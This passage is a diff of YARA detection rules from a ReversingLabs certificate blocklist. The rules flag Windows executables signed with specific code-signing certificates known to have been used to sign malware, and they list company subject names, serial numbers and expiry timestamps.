REVERSINGLABS_Cert_Blocklist_289051A83F350A2C600187C99B6C0A73 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Aa146Bff4B832Bdbfe30B84580356763 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "55497d57-7d4f-50e1-85a6-e60786084e3f" + id = "90fab567-f39f-5d0b-b0d9-a93693a05a01" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8620-L8636" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2614-L2632" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cd5d6f95f0cfdbf8d37ea78d061ce00512b6cb7c899152b1640673494d539dd1" + logic_hash = "37abe7a4fd773fd34f5d7dbe725ba4edcfb8ebb501dc41f386b8b0629161051f" score = 75 quality = 90 tags = "INFO, FILE" @@ -18797,21 +41191,21 @@ rule REVERSINGLABS_Cert_Blocklist_289051A83F350A2C600187C99B6C0A73 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HALL HAULAGE LTD LTD" and pe.signatures [ i ] . serial == "28:90:51:a8:3f:35:0a:2c:60:01:87:c9:9b:6c:0a:73" and 1616716800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yancheng Peoples Information Technology Service Co., Ltd" and ( pe.signatures [ i ] . serial == "00:aa:14:6b:ff:4b:83:2b:db:fe:30:b8:45:80:35:67:63" or pe.signatures [ i ] . serial == "aa:14:6b:ff:4b:83:2b:db:fe:30:b8:45:80:35:67:63" ) and 1295481599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_818631110B5D14331Dac7E6Ad998B902 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E86F46B60142092Aae81B8F6Fa3D9C7C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6a8f3abd-199c-5e2f-a60e-46e869831445" + id = "fde17cc1-a968-5134-b12b-d65cb34c086f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8638-L8656" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2634-L2652" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5e0de3848adf933632c2eb8cf5ead61d6470237386ba8b48d57a278d99dba324" + logic_hash = "6de16a44bc84fbf8f1d3d82526e1d7f8fd4ae3da6deaa471c77d2c8df47a14b0" score = 75 quality = 90 tags = "INFO, FILE" @@ -18821,21 +41215,21 @@ rule REVERSINGLABS_Cert_Blocklist_818631110B5D14331Dac7E6Ad998B902 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "2 TOY GUYS LLC" and ( pe.signatures [ i ] . serial == "00:81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" or pe.signatures [ i ] . serial == "81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" ) and 1571616000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Syncode Sistemas e Tecnologia Ltda" and ( pe.signatures [ i ] . serial == "00:e8:6f:46:b6:01:42:09:2a:ae:81:b8:f6:fa:3d:9c:7c" or pe.signatures [ i ] . serial == "e8:6f:46:b6:01:42:09:2a:ae:81:b8:f6:fa:3d:9c:7c" ) and 1373932799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_277Cd16De5D61B9398B645Afe41C09C7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1A0Fd2A4Ef4C2A36Ab9C5E8F792A35E2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d863faac-7b6e-5e1d-960f-8379347c6838" + id = "7148a21a-97d6-59a2-a1cf-442c271bc0b5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8658-L8674" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2654-L2670" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "696467d699dec060b205f36f53dbe157b241823757d72798b35235d6530fd193" + logic_hash = "8e768415998a6a92961986cb0a9d310514d928be93b3e5a9aaa9ec71bf5886ad" score = 75 quality = 90 tags = "INFO, FILE" @@ -18845,21 +41239,21 @@ rule REVERSINGLABS_Cert_Blocklist_277Cd16De5D61B9398B645Afe41C09C7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE SIGN COMPANY LIMITED" and pe.signatures [ i ] . serial == "27:7c:d1:6d:e5:d6:1b:93:98:b6:45:af:e4:1c:09:c7" and 1619049600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE9\\x87\\x91\\xE5\\x88\\xA9\\xE5\\xAE\\x8F\\xE6\\x98\\x8C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "1a:0f:d2:a4:ef:4c:2a:36:ab:9c:5e:8f:79:2a:35:e2" and 1389311999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D0Eda76C13D30C97015708790Bb94214 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_53Bb753B79A99E61A6E822Ac52460C70 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aa323bac-a9f5-560f-b44a-3cf2b26351bb" + id = "6339d548-775b-52b9-84c5-a79de23a16b2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8676-L8694" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2672-L2688" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2112ebfb7c9ebbbccb20cefcd23bb49142da770feb16ee8eef5eb27646226785" + logic_hash = "24ff4f46fa6e85c25e130459f9b8d6907cf6cd51098e0cf45ec11d54d7de509b" score = 75 quality = 90 tags = "INFO, FILE" @@ -18869,21 +41263,21 @@ rule REVERSINGLABS_Cert_Blocklist_D0Eda76C13D30C97015708790Bb94214 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LAEN ApS" and ( pe.signatures [ i ] . serial == "00:d0:ed:a7:6c:13:d3:0c:97:01:57:08:79:0b:b9:42:14" or pe.signatures [ i ] . serial == "d0:ed:a7:6c:13:d3:0c:97:01:57:08:79:0b:b9:42:14" ) and 1619136000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xEB\\x8D\\xB0\\xEC\\x8A\\xA4\\xED\\x81\\xAC\\xED\\x83\\x91\\xEC\\x95\\x84\\xEC\\x9D\\xB4\\xEC\\xBD\\x98" and pe.signatures [ i ] . serial == "53:bb:75:3b:79:a9:9e:61:a6:e8:22:ac:52:46:0c:70" and 1400543999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6333Ed618F88A05B4D82Ad7Bf66Cb0Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_83F68Fc6834Bf8Bd2C801A2D1F1Acc76 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c4d3603e-57e2-57df-a055-c43d449242c7" + id = "763d4faf-19af-5349-a643-4773055df47a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8696-L8712" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2690-L2708" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b088ac4b74a8cf3dddb67c8de2b7c3c5f537287a0454c0030c0eb4069c465c7d" + logic_hash = "35552242f9f0a56b45e30e6f376877446f33e24690ff5d7b03dc776fab178afd" score = 75 quality = 90 tags = "INFO, FILE" @@ -18893,21 +41287,21 @@ rule REVERSINGLABS_Cert_Blocklist_6333Ed618F88A05B4D82Ad7Bf66Cb0Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RHM LIMITED" and pe.signatures [ i ] . serial == "63:33:ed:61:8f:88:a0:5b:4d:82:ad:7b:f6:6c:b0:fa" and 1616457600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Helpful Technologies, Inc" and ( pe.signatures [ i ] . serial == "00:83:f6:8f:c6:83:4b:f8:bd:2c:80:1a:2d:1f:1a:cc:76" or pe.signatures [ i ] . serial == "83:f6:8f:c6:83:4b:f8:bd:2c:80:1a:2d:1f:1a:cc:76" ) and 1407715199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3B777165B125Bccc181D0Bac3F5B55B3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F385E765Acfb95605C9B35Ca4C32F80E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f065e99f-9cce-55cb-a592-60b89c26028a" + id = "865f8daf-35c4-5437-9c97-9b9fc48d7d70" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8714-L8730" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2710-L2728" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "80aff3d6f45f5847d5d39b170b9d0e70168d02569ca6d86a2c39150399d290fc" + logic_hash = "c73c8f1913d3423a52f5e77751813460ae9200eb3cb1cc6e2ec30f37f0da8152" score = 75 quality = 90 tags = "INFO, FILE" @@ -18917,21 +41311,21 @@ rule REVERSINGLABS_Cert_Blocklist_3B777165B125Bccc181D0Bac3F5B55B3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STAND ALONE MUSIC LTD" and pe.signatures [ i ] . serial == "3b:77:71:65:b1:25:bc:cc:18:1d:0b:ac:3f:5b:55:b3" and 1607299200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CWI SOFTWARE LTDA" and ( pe.signatures [ i ] . serial == "00:f3:85:e7:65:ac:fb:95:60:5c:9b:35:ca:4c:32:f8:0e" or pe.signatures [ i ] . serial == "f3:85:e7:65:ac:fb:95:60:5c:9b:35:ca:4c:32:f8:0e" ) and 1382313599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5B37Ac3479283B6F9D75Ddf0F8742D06 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F62C9C4Efc81Caf0D5A2608009D48018 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cc124d3f-2446-57a2-a206-0a5e569fc703" + id = "176434ae-7162-5b35-91f7-888536250884" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8732-L8748" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2730-L2748" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7abd389ac31cd970e6611c7c303714fdd658f45d4857ad524f5e8368edbb875" + logic_hash = "08fcff795297c0608b1a1d71465279cbf76d4dff06de2a2262a58debbb2f9e0d" score = 75 quality = 90 tags = "INFO, FILE" @@ -18941,21 +41335,21 @@ rule REVERSINGLABS_Cert_Blocklist_5B37Ac3479283B6F9D75Ddf0F8742D06 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ART BOOK PHOTO s.r.o." and pe.signatures [ i ] . serial == "5b:37:ac:34:79:28:3b:6f:9d:75:dd:f0:f8:74:2d:06" and 1619740800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x94\\x90\\xE5\\xB1\\xB1\\xE4\\xB8\\x87\\xE4\\xB8\\x9C\\xE6\\xB6\\xA6\\xE6\\x92\\xAD\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:f6:2c:9c:4e:fc:81:ca:f0:d5:a2:60:80:09:d4:80:18" or pe.signatures [ i ] . serial == "f6:2c:9c:4e:fc:81:ca:f0:d5:a2:60:80:09:d4:80:18" ) and 1292889599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3112C69D460C781Fd649C71E61Bfec82 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cc8D902Da36587C9B2113Cd76C3C3F8D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f4d2f240-49a7-51f3-8db1-1c569aa63177" + id = "f9e542aa-eaa5-50a5-95dc-fb55f8575c89" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8750-L8766" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2750-L2768" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ed31b0a24d18a451163867f0f49df12af3ca0768f250ac8ce66d41405393130d" + logic_hash = "25e524d23ccc1c06f602a086369ffd44b8c97b76c29f068764081339556b3465" score = 75 quality = 90 tags = "INFO, FILE" @@ -18965,21 +41359,21 @@ rule REVERSINGLABS_Cert_Blocklist_3112C69D460C781Fd649C71E61Bfec82 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KREATURHANDLER BJARNE ANDERSEN ApS" and pe.signatures [ i ] . serial == "31:12:c6:9d:46:0c:78:1f:d6:49:c7:1e:61:bf:ec:82" and 1614902400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE9\\x87\\x91\\xE4\\xBF\\x8A\\xE5\\x9D\\xA4\\xE8\\xAE\\xA1\\xE7\\xAE\\x97\\xE6\\x9C\\xBA\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x8D\\xE5\\x8A\\xA1\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:cc:8d:90:2d:a3:65:87:c9:b2:11:3c:d7:6c:3c:3f:8d" or pe.signatures [ i ] . serial == "cc:8d:90:2d:a3:65:87:c9:b2:11:3c:d7:6c:3c:3f:8d" ) and 1292544000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_328Bdcc0F679C4649147Fbb3Eb0E9Bc6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7dd5ba42-2d04-52d7-b15a-2bdba2e742fb" + id = "8e2c2204-8905-5e05-9ec8-e1577ae4c2cb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8768-L8784" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2770-L2786" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "938efb7ee19970484aded5cd46b2ff730f8882706bec3f062bdebde3cc9a4799" + logic_hash = "6d9e1f25ca252ca9dda7714c52a2e57fd3b5dca08cd2a45c9dec18a31d3bb342" score = 75 quality = 90 tags = "INFO, FILE" @@ -18989,21 +41383,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Farad LLC" and pe.signatures [ i ] . serial == "0a:5b:4f:67:ad:8b:22:af:c2:de:be:6c:e5:f8:f6:79" and 1607472000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nooly Systems LTD" and pe.signatures [ i ] . serial == "32:8b:dc:c0:f6:79:c4:64:91:47:fb:b3:eb:0e:9b:c6" and 1204847999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Df45B36C9D0Bd248C3F9494E7Ca822 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5F78149Eb4F75Eb17404A8143Aaeaed7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d7d0d1c4-b341-5651-8179-4035f537ba98" + id = "4c9d3bba-4e7f-5bf5-ab90-f2b900ec0b2a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8786-L8804" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2788-L2804" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9c03522376b0d807cd36a0641e474d770bc3b4f8221f26d232878d2d320d072b" + logic_hash = "0c7c9e8d2a9304e0407b8a1a29977312a9ba766a4052c6b874855fa187c85585" score = 75 quality = 90 tags = "INFO, FILE" @@ -19013,21 +41407,21 @@ rule REVERSINGLABS_Cert_Blocklist_Df45B36C9D0Bd248C3F9494E7Ca822 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MPO STORITVE d.o.o." and ( pe.signatures [ i ] . serial == "00:df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22" or pe.signatures [ i ] . serial == "df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22" ) and 1619740800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE5\\x9F\\x9F\\xE8\\x81\\x94\\xE8\\xBD\\xAF\\xE4\\xBB\\xB6\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "5f:78:14:9e:b4:f7:5e:b1:74:04:a8:14:3a:ae:ae:d7" and 1303116124 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Ae3C4Eccecda2127D43Be390A850Dda : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_629D120Dd84F9C1688D4Da40366Fab7A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a9d8906b-64f6-5c5d-80e0-ab916e83b613" + id = "7e6249ba-3a4f-5096-be32-779e73c88221" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8806-L8822" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2806-L2822" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8a2ff4f7a5ac996127778b1670e79291bddcb5dee6e7da2b540fd254537ee27e" + logic_hash = "187f6ef0de869500526d1b0d5c6f6762b0a939e06781e633a602834687c64023" score = 75 quality = 90 tags = "INFO, FILE" @@ -19037,21 +41431,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Ae3C4Eccecda2127D43Be390A850Dda : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PARTYNET LIMITED" and pe.signatures [ i ] . serial == "1a:e3:c4:ec:ce:cd:a2:12:7d:43:be:39:0a:85:0d:da" and 1614902400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Delta Controls" and pe.signatures [ i ] . serial == "62:9d:12:0d:d8:4f:9c:16:88:d4:da:40:36:6f:ab:7a" and 1306799999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2E36360538624C9B1Afd78A2Fb756028 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_039E5D0E3297F574Db99E1D9503853D9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "549a566b-0c94-516c-9231-a5e54136785f" + id = "969ffa17-de06-58d5-a74e-c115b49a9a6c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8824-L8840" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2824-L2840" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9cbb50c7d383048fd506506fa9ee8bf7c6d82feaf21bcde4008ab99b82e234a7" + logic_hash = "2f150f60b7dce583fc68705f0b29a7c8684f1b69020275b2ec1ac6beeaa63952" score = 75 quality = 90 tags = "INFO, FILE" @@ -19061,21 +41455,21 @@ rule REVERSINGLABS_Cert_Blocklist_2E36360538624C9B1Afd78A2Fb756028 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ts Trade ApS" and pe.signatures [ i ] . serial == "2e:36:36:05:38:62:4c:9b:1a:fd:78:a2:fb:75:60:28" and 1615766400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cigam Software Corporativo LTDA" and pe.signatures [ i ] . serial == "03:9e:5d:0e:32:97:f5:74:db:99:e1:d9:50:38:53:d9" and 1378079999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Addb899F8229Fd53E6435E08Bbd3A733 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bc32Bbe5Bbb4F06F490C50651Cd5Da50 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1e5f0577-ba05-5e43-a817-c75f65547c3d" + id = "eb6ccc6d-2a66-5113-8b78-c32012431123" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8842-L8860" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2842-L2860" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ecb8e31b8c56b92cef601618e0adc2f6d88999318805b92389693aa9e8050d18" + logic_hash = "104be481b7d4b1cb3c43c72314afc3641983838b5177c34a88d6da0d0e7b89c9" score = 75 quality = 90 tags = "INFO, FILE" @@ -19085,21 +41479,21 @@ rule REVERSINGLABS_Cert_Blocklist_Addb899F8229Fd53E6435E08Bbd3A733 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "U.K. STEEL EXPORTS LIMITED" and ( pe.signatures [ i ] . serial == "00:ad:db:89:9f:82:29:fd:53:e6:43:5e:08:bb:d3:a7:33" or pe.signatures [ i ] . serial == "ad:db:89:9f:82:29:fd:53:e6:43:5e:08:bb:d3:a7:33" ) and 1616630400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Remedica Medical Education and Publishing Ltd" and ( pe.signatures [ i ] . serial == "00:bc:32:bb:e5:bb:b4:f0:6f:49:0c:50:65:1c:d5:da:50" or pe.signatures [ i ] . serial == "bc:32:bb:e5:bb:b4:f0:6f:49:0c:50:65:1c:d5:da:50" ) and 1387151999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C1A1Db95D7Bf80290Aa6E82D8F8F996A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3E1656Dfcaacfed7C2D2564355698Aa3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c04a2731-5eb8-5db4-9e88-cab9b61952e4" + id = "57b75eaa-2cb2-5713-8eb3-065f90a1fdd5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8862-L8880" + source_url = 